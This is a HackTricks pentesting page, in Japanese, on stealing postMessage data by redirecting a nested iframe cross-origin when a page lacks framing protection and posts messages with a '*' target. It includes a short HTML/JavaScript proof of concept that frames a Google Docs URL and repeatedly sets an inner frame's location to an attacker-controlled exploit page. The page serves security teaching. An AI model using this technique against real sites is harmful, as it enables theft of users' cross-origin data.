hacktricks/src/pentesting-web/postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md

32 lines
1.4 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Steal postmessage modifying iframe location
{{#include ../../banners/hacktricks-training.md}}
## 子iframeの位置を変更する
[**この書き込み**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/)によると、X-Frame-Headerがないウェブページをiframeにでき、その中に別のiframeが含まれている場合、**その子iframeの位置を変更することができます**。
例えば、abc.comがefg.comをiframeとして持ち、abc.comにX-Frameヘッダーがない場合、**`frames.location`**を使用してefg.comをevil.comにクロスオリジンで変更することができます。
これは特に**postMessages**で有用です。なぜなら、ページが**ワイルドカード**を使用して機密データを送信している場合、例えば`windowRef.postmessage("","*")`のように、**関連するiframe子または親の位置を攻撃者が制御する場所に変更し、そのデータを盗むことが可能です**。
```html
<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
//pseudo code
setTimeout(function () {
exp()
}, 6000)
function exp() {
//needs to modify this every 0.1s as it's not clear when the iframe of the iframe affected is created
setInterval(function () {
window.frames[0].frame[0][2].location =
"https://geekycat.in/exploit.html"
}, 100)
}
</script>
</html>
```
{{#include ../../banners/hacktricks-training.md}}